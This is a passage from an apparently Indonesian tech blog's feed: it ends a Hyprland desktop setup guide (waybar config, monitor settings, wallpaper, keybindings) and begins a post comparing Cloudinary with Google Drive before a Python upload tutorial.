&lt;/span&gt;&lt;span&gt;&quot;Asia/Jakarta&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;124&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#BF00FF&apos;&amp;gt;  &amp;lt;/span&amp;gt; {:%H:%M} &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;125&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;126&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;{:L%Y 年 %m 月 %d 日, %A}&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;127&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;128&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;tray&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;129&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;icon-size&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;17&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;130&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;spacing&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;6&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;131&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;132&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;backlight&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;133&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;device&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;intel_backlight&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;134&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FFD700&apos;&amp;gt;{icon}&amp;lt;/span&amp;gt;{percent}% &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;135&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;136&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;当前屏幕亮度: {percent}%&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;137&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-icons&quot;&lt;/span&gt;&lt;span&gt;: [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;138&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#696969&apos;&amp;gt; 󰃞 &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,  &lt;/span&gt;&lt;span&gt;// 暗 - 深灰&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;139&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#A9A9A9&apos;&amp;gt; 󰃝 &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,  &lt;/span&gt;&lt;span&gt;// 中 - 灰&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;140&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FFFF66&apos;&amp;gt; 󰃟 &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;,  &lt;/span&gt;&lt;span&gt;// 亮 - 柠檬黄&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;141&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;      &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#FFD700&apos;&amp;gt; 󰃠 &amp;lt;/span&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;// 最亮 - 金色&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;142&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;143&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;},&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;144&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;&quot;bluetooth&quot;&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;145&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#00BFFF&apos;&amp;gt;  &amp;lt;/span&amp;gt;{status} &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;146&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-connected&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#00BFFF&apos;&amp;gt;  &amp;lt;/span&amp;gt;{device_alias} &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;147&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;format-connected-battery&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;span color=&apos;#00BFFF&apos;&amp;gt;  &amp;lt;/span&amp;gt;{device_alias}{device_battery_percentage}% &quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;148&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;{controller_alias}&lt;/span&gt;&lt;span&gt;\t&lt;/span&gt;&lt;span&gt;{controller_address}&lt;/span&gt;&lt;span&gt;\n\n&lt;/span&gt;&lt;span&gt;{num_connections} connected&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;149&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format-connected&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;{controller_alias}&lt;/span&gt;&lt;span&gt;\t&lt;/span&gt;&lt;span&gt;{controller_address}&lt;/span&gt;&lt;span&gt;\n\n&lt;/span&gt;&lt;span&gt;{num_connections} connected&lt;/span&gt;&lt;span&gt;\n\n&lt;/span&gt;&lt;span&gt;{device_enumerate}&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;150&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format-enumerate-connected&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;{device_alias}&lt;/span&gt;&lt;span&gt;\t&lt;/span&gt;&lt;span&gt;{device_address}&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;151&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;&quot;tooltip-format-enumerate-connected-battery&quot;&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;{device_alias}&lt;/span&gt;&lt;span&gt;\t&lt;/span&gt;&lt;span&gt;{device_address}&lt;/span&gt;&lt;span&gt;\t&lt;/span&gt;&lt;span&gt;{device_battery_percentage}%&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;152&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;153&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Catatan:&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Tidak seperti &lt;strong&gt;&lt;code&gt;hyprland&lt;/code&gt;&lt;/strong&gt; dan &lt;strong&gt;&lt;code&gt;waypaper&lt;/code&gt;&lt;/strong&gt;, file konfigurasi &lt;strong&gt;&lt;code&gt;waybar&lt;/code&gt;&lt;/strong&gt; tidak otomatis ada setelah instalasi sehingga harus dibuat manual terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/waybar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;touch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/.config/waybar/config.jsonc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Saat pertama kali masuk ke &lt;em&gt;session&lt;/em&gt; Hyprland, kita tidak akan melihat apapun selain &lt;em&gt;wallpaper&lt;/em&gt; bawaan Hyprland. Jadi, ada beberapa hal yang perlu kita konfigurasi agar Hyprland kita menjadi lebih baik, secara fungsional maupun estetis.&lt;/p&gt;&lt;p&gt;Oleh karena itu, kita perlu tahu setidaknya 2 &lt;strong&gt;keybind&lt;/strong&gt; penting:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;Super + Q&lt;/code&gt;&lt;/strong&gt;: Membuka terminal (&lt;code&gt;kitty&lt;/code&gt;)&lt;br /&gt;
&lt;strong&gt;&lt;code&gt;Super + C&lt;/code&gt;&lt;/strong&gt;: Menutup jendela aplikasi aktif&lt;br /&gt;
&lt;strong&gt;&lt;code&gt;Super + F&lt;/code&gt;&lt;/strong&gt;: Membuka &lt;em&gt;application launcher&lt;/em&gt; (&lt;code&gt;wofi&lt;/code&gt;)&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Monitor resolution&lt;a href=&quot;#monitor-resolution&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita perlu mengganti / menyesuaikan resolusi monitor dengan resolusi bawaan Hyprland.&lt;br /&gt;
Caranya mudah, kita hanya perlu mengganti baris berikut di konfigurasi Hyprland (&lt;strong&gt;&lt;code&gt;~/.config/hypr/hyprland.conf&lt;/code&gt;&lt;/strong&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;monitor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;name,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;resolution,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;position,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;scale&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Contohnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;monitor&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;DP-1,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1920x1080@144,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0x0,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Ini artinya, kita akan mengganti resolusi monitor dengan nama “DP-1” ke 1920x1080 dengan 144 Hz, mulai di titik 0x0 dari kiri, dengan skala 1 (&lt;em&gt;unscaled&lt;/em&gt;).&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Untuk mengetahui informasi tentang monitor:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hyprctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;monitors&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Waybar activation&lt;a href=&quot;#waybar-activation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mengaktifkan waybar agar muncul seetiap kali masuk ke sesi Hyprland, kita perlu menambahkan baris berikut di file konfigurasi Hyprland (&lt;strong&gt;&lt;code&gt;~/.config/hypr/hyprland.conf&lt;/code&gt;&lt;/strong&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exec-once&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;waybar&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Untuk mengkonfigursi &lt;code&gt;waybar&lt;/code&gt;, kalian bisa langsung “mengotak-atiknya” di &lt;strong&gt;&lt;code&gt;~/.config/waybar/config.jsonc&lt;/code&gt;&lt;/strong&gt;, atau melihat (memakai) file konfigurasi orang lain di internet. Saya tidak akan membahasnya lebih jauh di sini.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Wallpaper settings&lt;a href=&quot;#wallpaper-settings&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mengganti &lt;em&gt;wallpaper&lt;/em&gt;, kita dapat menjalankan &lt;strong&gt;&lt;code&gt;waypaper&lt;/code&gt;&lt;/strong&gt; dan langsung menggantinya dari aplikasi GUI yang muncul tersebut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;waypaper&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita juga bisa mengganti pengaturannya via file konfigurasi langsung di &lt;code&gt;~/.config/waypaper/config.ini&lt;/code&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Keybindings&lt;a href=&quot;#keybindings&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Beberapa &lt;em&gt;keybindings&lt;/em&gt; (&lt;em&gt;shortcut&lt;/em&gt;) juga dapat diganti sesuai dengan preferensi masing-masing di bagian &lt;strong&gt;“#Keybindings”&lt;/strong&gt; di dalam file konfigurasi Hyprland (&lt;strong&gt;&lt;code&gt;~/.config/hypr/hyprland.conf&lt;/code&gt;&lt;/strong&gt;).&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Artikel ini ditulis dengan DE Hyprland (Archlinux, btw):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;hyprland1&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/post1.BqMg4Tff_wPdfi.webp&quot; /&gt;&lt;figcaption&gt;hyprland1&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;hyprland2&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/post2.BJCD2IRA_ZUewQa.webp&quot; /&gt;&lt;figcaption&gt;hyprland2&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/Hyprland&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/Hyprland&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.hyprland.org/Configuring/Monitors/&quot; target=&quot;_blank&quot;&gt;https://wiki.hyprland.org/Configuring/Monitors/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Automatic Image &amp; Video File(s) Hosting in Cloudinary through Python</title><link>https://shangdi.github.io/posts/tech/cloudinary/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/cloudinary/</guid><description>A brief tutorial on how to upload file(s) or video(s) to Cloudinary through Python script.</description><pubDate>Fri, 30 May 2025 11:47:46 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;About Cloudinary&lt;a href=&quot;#about-cloudinary&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Cloudinary adalah &lt;em&gt;platform&lt;/em&gt; penyedia jasa untuk meng-&lt;em&gt;upload&lt;/em&gt;, me-&lt;em&gt;manage&lt;/em&gt;, dan men-&lt;em&gt;deliver&lt;/em&gt; file gambar dan video.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Ya, singkatnya, Cloudinary adalah platform untuk &lt;em&gt;hosting&lt;/em&gt; file gambar dan video.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Cloudinary vs Google Drive&lt;a href=&quot;#cloudinary-vs-google-drive&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Mungkin ada yang bertanya-tanya,&lt;/p&gt;&lt;p&gt;&lt;em&gt;“Apa bedanya cloudinary dengan Google Drive?&quot;&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;&quot;Bukankah Google Drive lebih familiar?”&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Nah, sebetulnya, secara fungsi dasar, keduanya sama-sama berfungsi untuk menyimpan file gambar dan video (walaupun Google Drive tidak terbatas itu saja) secara daring di &lt;a href=&quot;https://www.cloudflare.com/learning/cloud/what-is-the-cloud/&quot; target=&quot;_blank&quot;&gt;cloud&lt;/a&gt;, namun, secara fungsi spesifiknya, Google Drive dan Cloudinary memiliki perbedaan yang cukup siginifikan.&lt;/p&gt;&lt;p&gt;Google Drive didesain untuk &lt;em&gt;&lt;strong&gt;“backup”&lt;/strong&gt;&lt;/em&gt; file (gambar, video, etc).&lt;br /&gt;
Cloudinary didesain untuk &lt;em&gt;&lt;strong&gt;“hosting”&lt;/strong&gt;&lt;/em&gt; file (gambar &amp;amp; video).&lt;/p&gt;&lt;p&gt;Satu kata kunci lagi untuk menjelaskan perbedaan keduanya, yaitu &lt;strong&gt;CDN (&lt;em&gt;Content Delivery Network&lt;/em&gt;)&lt;/strong&gt; yang bertugas untuk mengurusi masalah performa. Cloudinary dengan tujuannya sebagai tempat &lt;em&gt;hosting&lt;/em&gt;, menggunakan CDN, sementara Google Drive tidak.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Artikel ini tidak membahas tentang CDN sehingga jika ingin tahu lebih banyak tentang CDN dapat mengunjungi artikel berikut:&lt;br /&gt;
&lt;a href=&quot;https://www.cloudflare.com/learning/cdn/what-is-a-cdn/&quot; target=&quot;_blank&quot;&gt;https://www.cloudflare.com/learning/cdn/what-is-a-cdn/&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Poin minusnya adalah untuk yang non-bayar (alias gratis), ukuran maksimal file yang dapat di-&lt;em&gt;upload&lt;/em&gt; adalah 10 MB untuk file gambar &amp;amp; 100 MB untuk file video.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Jadi, mana yang lebih baik? Google Drive atau Cloudinary?&lt;br /&gt;
Tentu saja, &lt;strong&gt;Yang Sesuai Kebutuhan&lt;/strong&gt;. 😊&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;source: chatgpt&quot; loading=&quot;lazy&quot; width=&quot;620&quot; height=&quot;392&quot; src=&quot;/_astro/ss1.TGIkeUNm_nlbRM.webp&quot; /&gt;&lt;figcaption&gt;source: chatgpt&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Uploading File&lt;a href=&quot;#uploading-file&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sekarang, kita akan mulai mencoba mengunggah file ke Cloudinary. Berikut adalah &lt;em&gt;step by step&lt;/em&gt;-nya.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Login&lt;a href=&quot;#1-login&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita perlu masuk terlebih dahulu ke Cloudinary terlebih dahulu sebelum dapat menggunakannya. Jika belum memiliki akun, kita harus membuatnya terlebih dahulu. Saya tidak akan membahas secara detail cara membuat &amp;amp; login ke akun di artikel ini karena saya kira cukup mudah untuk dilakukan.&lt;/p&gt;&lt;p&gt;Setelah berhasil login, kira-kira, seperti inilah tampilan &lt;em&gt;interface&lt;/em&gt;-nya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Cloudinary UI&quot; loading=&quot;lazy&quot; width=&quot;1332&quot; height=&quot;768&quot; src=&quot;/_astro/ss2.CvNS8zuU_Z1vJMEq.webp&quot; /&gt;&lt;figcaption&gt;Cloudinary UI&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Running Python Script&lt;a 